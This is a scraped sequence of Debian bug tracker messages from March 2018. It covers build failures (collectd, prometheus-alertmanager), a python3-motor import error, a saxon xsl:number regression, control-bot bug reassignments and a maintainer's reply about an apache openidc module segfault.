github.com/syncthing/syncthing/cmd/strelaysrv/testutil 
github.com/syncthing/syncthing/cmd/stsigtool 
github.com/syncthing/syncthing/cmd/stvanity 
github.com/syncthing/syncthing/cmd/stwatchfile 
github.com/syncthing/syncthing/cmd/syncthing 
github.com/syncthing/syncthing/lib/auto 
github.com/syncthing/syncthing/lib/beacon 
github.com/syncthing/syncthing/lib/config 
github.com/syncthing/syncthing/lib/connections 
github.com/syncthing/syncthing/lib/db github.com/syncthing/syncthing/lib/dialer 

Bug#892166: collectd FTBFS without protobuf-compiler-grpc

[Adrian Bunk]

Source: collectd
Version: 5.8.0-3
Severity: serious

https://buildd.debian.org/status/package.php?p=collectd=sid

...
  Libraries:
intel mic . . . . . . no (MicAccessApi not found)
libaquaero5 . . . . . no (libaquaero5.h not found)
libatasmart . . . . . yes
libcurl . . . . . . . yes
libdbi  . . . . . . . yes
libdpdk . . . . . . . no (rte_config.h not found)
libesmtp  . . . . . . yes
libganglia  . . . . . yes
libgcrypt . . . . . . yes
libgps  . . . . . . . yes
libgrpc++ . . . . . . no (pkg-config could not find libgrpc++)
libhiredis  . . . . . yes
libi2c-dev  . . . . . yes
libiokit  . . . . . . no
libiptc . . . . . . . yes
libjevents  . . . . . no (jevents.h not found)
libjvm  . . . . . . . yes
libkstat  . . . . . . no (Solaris only)
libkvm  . . . . . . . no
libldap . . . . . . . yes
liblua  . . . . . . . yes
liblvm2app  . . . . . yes
libmemcached  . . . . yes
libmicrohttpd . . . . yes
libmnl  . . . . . . . yes
libmodbus . . . . . . yes
libmongoc . . . . . . yes
libmosquitto  . . . . yes
libmysql  . . . . . . yes
libnetapp . . . . . . no (netapp_api.h not found)
libnetsnmp  . . . . . yes
libnetsnmpagent . . . yes
libnotify . . . . . . yes
libopenipmi . . . . . yes
liboping  . . . . . . yes
libowcapi . . . . . . yes
libpcap . . . . . . . yes
libperfstat . . . . . no (AIX only)
libperl . . . . . . . yes (version 5.26.1)
libpq . . . . . . . . yes
libpqos . . . . . . . no (pqos.h not found)
libprotobuf . . . . . yes
libprotobuf-c . . . . yes
libpython . . . . . . yes
librabbitmq . . . . . yes
libriemann-client . . yes
librdkafka  . . . . . yes
librouteros . . . . . no (routeros_api.h not found)
librrd  . . . . . . . yes
libsensors  . . . . . yes
libsigrok   . . . . . no (pkg-config could not find libsigrok)
libstatgrab . . . . . no
libtokyotyrant  . . . yes
libudev . . . . . . . yes
libupsclient  . . . . yes
libvarnish  . . . . . yes
libvirt . . . . . . . yes
libxenctrl  . . . . . no (xenctrl.h not found)
libxml2 . . . . . . . yes
libxmms . . . . . . . no
libyajl . . . . . . . yes
oracle  . . . . . . . no (ORACLE_HOME is not set)
protobuf-c  . . . . . yes
protoc 3  . . . . . . yes

  Features:
daemon mode . . . . . yes
debug . . . . . . . . no

  Bindings:
perl  . . . . . . . . yes (INSTALLDIRS=vendor INSTALL_BASE=)

  Modules:
aggregation . . . . . yes
amqp. . . . . . . yes
apache  . . . . . . . yes
apcups  . . . . . . . yes
apple_sensors . . . . no (disabled on command line)
aquaero . . . . . . . no (disabled on command line)
ascent  . . . . . . . yes
barometer . . . . . . yes
battery . . . . . . . yes
bind  . . . . . . . . yes
ceph  . . . . . . . . yes
cgroups . . . . . . . yes
chrony. . . . . . . . yes
conntrack . . . . . . yes
contextswitch . . . . yes
cpu . . . . . . . . . yes
cpufreq . . . . . . . yes
cpusleep  . . . . . . yes
csv . . . . . . . . . yes
curl  . . . . . . . . yes
curl_json . . . . . . yes
curl_xml  . . . . . . yes
dbi . . . . . . . . . yes
df  . . . . . . . . . yes
disk  . . . . . . . . yes
dns . . . . . . . . . yes
dpdkevents. . . . . . no (disabled on command line)
dpdkstat  . . . . . . no (disabled on command line)
drbd  . . . . . . . . yes
email . . . . . . . . yes
entropy . . . . . . . yes
ethstat . . . . . . . yes
exec  . . . . . . . . yes
fhcount . . . . . . . yes
filecount . . . . . . yes
fscache . . . . . . . yes
gmond . . . . . . . . yes
gps . . . . . . . . . yes
grpc  . . . . . . . . no (dependency error)
hddtemp . . . . . . . yes
hugepages . . . . . . yes
intel_pmu . . . . . . no (disabled on command line)
intel_rdt . . . . . . no (disabled on command line)
interface . . . . . . yes
ipc . . . . . . . . . yes
ipmi  . . . . . . . . yes
iptables  . . . . . . yes
ipvs  . . . . . . . . yes
irq . . . . . . . . . yes
java  . . . . . . . . yes
load  . . . . . . . . yes
logfile . . . . . . . yes
log_logstash  . . . . yes
lpar  . . . . . . . . no (disabled on command line)
lua . . . . . . . . . yes
lvm . . . . . . . . . yes
madwifi . . . . . . . yes
match_empty_counter . yes
match_hashed  . . . . yes
match_regex . . . . . yes
match_timediff  . . . yes
match_value . . . . . yes
mbmon . . . . . . . . yes
mcelog  . . . . . . . no (disabled on command line)
md  . . . . . . . . . yes
memcachec . . . . . . yes
memcached . . . . . . yes
memory  . . . . . . . yes
mic . . . . . . . . . no (disabled on command line)
modbus  . . . . . . . yes
mqtt  . . . . . . . . yes
multimeter  . . . . . yes
mysql . . . . . . . . yes
netapp  . . . . . . . 

Bug#892164: prometheus-alertmanager binary-all FTBFS: usr/bin/prometheus-alertmanager': No such file or directory

[Adrian Bunk]

Source: prometheus-alertmanager
Version: 0.6.2+ds-4
Severity: serious

https://buildd.debian.org/status/fetch.php?pkg=prometheus-alertmanager=all=0.6.2%2Bds-4=1520277887=0

...
   debian/rules override_dh_auto_install
make[1]: Entering directory '/<>/prometheus-alertmanager-0.6.2+ds'
cp -v /<>/prometheus-alertmanager-0.6.2+ds/build/bin/alertmanager 
debian/prometheus-alertmanager/usr/bin/prometheus-alertmanager
'/<>/prometheus-alertmanager-0.6.2+ds/build/bin/alertmanager' -> 
'debian/prometheus-alertmanager/usr/bin/prometheus-alertmanager'
cp: cannot create regular file 
'debian/prometheus-alertmanager/usr/bin/prometheus-alertmanager': No such file 
or directory
make[1]: *** [debian/rules:67: override_dh_auto_install] Error 1

Bug#892162: python3-motor: Fails to import

[Salvo Tomaselli]

Package: python3-motor
Version: 1.2.1-1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

I had just started the tutorial for this module 
http://motor.readthedocs.io/en/stable/tutorial-asyncio.html

and started with the initial import:

import motor.motor_asyncio

which fails.


In [2]: import motor.motor_asyncio
---
ModuleNotFoundError   Traceback (most recent call last)
 in ()
> 1 import motor.motor_asyncio

/usr/lib/python3/dist-packages/motor/motor_asyncio.py in ()
 15 """Asyncio support for Motor, an asynchronous driver for MongoDB."""
 16 
---> 17 from . import core, motor_gridfs
 18 from .frameworks import asyncio as asyncio_framework
 19 from .metaprogramming import create_class_with_framework

/usr/lib/python3/dist-packages/motor/core.py in ()
 32 from pymongo.bulk import BulkOperationBuilder
 33 from pymongo.database import Database
---> 34 from pymongo.change_stream import ChangeStream
 35 from pymongo.collection import Collection
 36 from pymongo.cursor import Cursor, _QUERY_OPTIONS

ModuleNotFoundError: No module named 'pymongo.change_stream'

So as it is, this module is completely useless.

I suppose it depends on a different version of pymongo than
what is currently in the archive…

Best.

-- System Information:
Debian Release: buster/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=it_IT.UTF-8, LC_CTYPE=it_IT.UTF-8 (charmap=UTF-8) (ignored: LC_ALL 
set to it_IT.UTF-8), LANGUAGE=it (charmap=UTF-8) (ignored: LC_ALL set to 
it_IT.UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages python3-motor depends on:
ii  python3  3.6.4-1
ii  python3-gridfs   3.5.1+dfsg1-1
ii  python3-pymongo  3.5.1+dfsg1-1

python3-motor recommends no packages.

Versions of packages python3-motor suggests:
ii  python3-aiohttp  3.0.1-1
pn  python3-tornado  

-- no debconf information

Processed: closing 889124

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> close 889124 3.4.6+dfsg-1
Bug #889124 [src:symfony] symfony FTBFS with PHP 7.2
Marked as fixed in versions symfony/3.4.6+dfsg-1.
Bug #889124 [src:symfony] symfony FTBFS with PHP 7.2
Marked Bug as done
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
889124: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889124
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Bug#889567 in dh-autoreconf marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag 889567 pending
Bug #889567 [dh-autoreconf] dh-autoreconf: needs Breaks: quilt (<< 0.63-8.2~), 
dpatch (<< 2.0.38+nmu1~)
Added tag(s) pending.

-- 
889567: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889567
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#889567: in dh-autoreconf marked as pending

[Julian Andres Klode]

Control: tag 889567 pending

Hello,

Bug #889567 in dh-autoreconf reported by you has been fixed in the Git 
repository. You can
see the commit message below, and you can check the diff of the fix at:


https://anonscm.debian.org/cgit/collab-maint/dh-autoreconf.git/diff/?id=1402819

(this message was generated automatically based on the git commit message)
---
commit 140281938fc67719ec8ec6f735c9bf6729eefdfe
Author: Julian Andres Klode 
Date:   Tue Mar 6 10:17:39 2018 +0100

Add Breaks: quilt (<< 0.63-8.2~), dpatch (<< 2.0.38+nmu1~)

Closes: #889567

Bug#890665: Bug #890665

[Jonathan Carter (highvoltage)]

Hi

Does this still happen on your system?

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890665

I just enabled it on my unstable system and it seems to load both the
extension and it's settings manager just fine. Will try it on a clean
unstable system next.

-Jonathan

Processed: xsl:number throws an exception

[Debian Bug Tracking System]

Processing control commands:

> reassign 892119 libsaxonhe-java
Bug #892119 [src:starjava-topcat] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Bug reassigned from package 'src:starjava-topcat' to 'libsaxonhe-java'.
No longer marked as found in versions starjava-topcat/4.5.1-1.
Ignoring request to alter fixed versions of bug #892119 to the same values 
previously set
> forcemerge -1 892119
Bug #892156 [libsaxonhe-java] xsl:number throws an exception
Bug #892119 [libsaxonhe-java] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Marked as found in versions saxonhe/9.8.0.8+dfsg+1-1.
Merged 892119 892156
> affects -1 src:starjava-topcat
Bug #892156 [libsaxonhe-java] xsl:number throws an exception
Bug #892119 [libsaxonhe-java] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Added indication that 892156 affects src:starjava-topcat
Added indication that 892119 affects src:starjava-topcat
> reassign 892120 libsaxonhe-java
Bug #892120 [src:starjava-ttools] starjava-ttools FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Bug reassigned from package 'src:starjava-ttools' to 'libsaxonhe-java'.
No longer marked as found in versions starjava-ttools/3.1.2-1.
Ignoring request to alter fixed versions of bug #892120 to the same values 
previously set
> forcemerge -1 892120
Bug #892156 [libsaxonhe-java] xsl:number throws an exception
Bug #892119 [libsaxonhe-java] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Bug #892120 [libsaxonhe-java] starjava-ttools FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Added indication that 892120 affects src:starjava-topcat
Marked as found in versions saxonhe/9.8.0.8+dfsg+1-1.
Bug #892119 [libsaxonhe-java] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Merged 892119 892120 892156
> affects -1 src:starjava-ttools
Bug #892156 [libsaxonhe-java] xsl:number throws an exception
Bug #892119 [libsaxonhe-java] starjava-topcat FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Bug #892120 [libsaxonhe-java] starjava-ttools FTBFS with libsaxonhe-java 
9.8.0.8+dfsg+1-1
Added indication that 892156 affects src:starjava-ttools
Added indication that 892119 affects src:starjava-ttools
Added indication that 892120 affects src:starjava-ttools

-- 
892119: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892119
892120: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892120
892156: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892156
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892156: xsl:number throws an exception

[Ole Streicher]

Package: libsaxonhe-java
Version: 9.8.0.8+dfsg+1-1
Severity: serious
Control: reassign 892119 libsaxonhe-java
Control: forcemerge -1 892119
Control: affects -1 src:starjava-topcat
Control: reassign 892120 libsaxonhe-java
Control: forcemerge -1 892120
Control: affects -1 src:starjava-ttools

When using xsl:number in an xslt script, saxon throws an exception:

$ cat sheet.xsl

http://www.w3.org/1999/XSL/Transform;>

  

  

$ java -jar /usr/share/java/Saxon-HE.jar sheet.xsl sheet.xsl
Exception in thread "main" java.lang.ExceptionInInitializerError
at
net.sf.saxon.expr.number.NumberFormatter.(NumberFormatter.java:124)
at net.sf.saxon.style.XSLNumber.prepareAttributes(XSLNumber.java:159)
at 
net.sf.saxon.style.StyleElement.processAttributes(StyleElement.java:634)
at
net.sf.saxon.style.StyleElement.processAllAttributes(StyleElement.java:579)
at
net.sf.saxon.style.StyleElement.processAllAttributes(StyleElement.java:584)
at
net.sf.saxon.style.XSLTemplate.processAllAttributes(XSLTemplate.java:397)
at
net.sf.saxon.style.PrincipalStylesheetModule.processAllAttributes(PrincipalStylesheetModule.java:609)
at
net.sf.saxon.style.PrincipalStylesheetModule.preprocess(PrincipalStylesheetModule.java:386)
at net.sf.saxon.style.Compilation.compilePackage(Compilation.java:288)
at
net.sf.saxon.style.StylesheetModule.loadStylesheet(StylesheetModule.java:258)
at
net.sf.saxon.style.Compilation.compileSingletonPackage(Compilation.java:106)
at net.sf.saxon.s9api.XsltCompiler.compile(XsltCompiler.java:739)
at net.sf.saxon.Transform.doTransform(Transform.java:709)
at net.sf.saxon.Transform.main(Transform.java:81)
Caused by: java.lang.RuntimeException: Unable to read categories.xml file
at net.sf.saxon.regex.charclass.Categories.build(Categories.java:116)
at 
net.sf.saxon.regex.charclass.Categories.getCategory(Categories.java:206)
at net.sf.saxon.regex.charclass.Categories.(Categories.java:180)
... 14 more


This is an regression and did not happen with version 9.7. It leads to
FTBFS in the topcat and ttools packages; therefore the severity.

Processed: 891224: Just enabling the module makes apache children segfault

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 891224 +moreinfo
Bug #891224 [libapache2-mod-auth-openidc] Just enabling the module makes apache 
children segfault
Added tag(s) moreinfo.
> tags 891224 +jessie
Bug #891224 [libapache2-mod-auth-openidc] Just enabling the module makes apache 
children segfault
Added tag(s) jessie.
> notfound 891224 2.3.3-1
Bug #891224 [libapache2-mod-auth-openidc] Just enabling the module makes apache 
children segfault
Ignoring request to alter found versions of bug #891224 to the same values 
previously set
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
891224: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891224
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891224: Just enabling the module makes apache children segfault

[Christoph Martin]

Hi Enrico,

we know of a bunch of installations where libapache2-mod-auth-openidc is
working without a problem in jessie and stretch. So it must be something
special with your setup.

From your ldd analysis it does not show a problem with libssl versions.
But do you have both libssl-1.1 and libssl-1.0 installed? If yes, which
packages depend on them?

Can you provide a stack-trace?

Christoph
-- 

Christoph Martin, Leiter Unix-Systeme
Zentrum für Datenverarbeitung, Uni-Mainz, Germany
 Anselm Franz von Bentzel-Weg 12, 55128 Mainz
 Telefon: +49(6131)3926337
 Instant-Messaging: Jabber/XMPP: mar...@jabber.uni-mainz.de

<>

signature.asc
Description: OpenPGP digital signature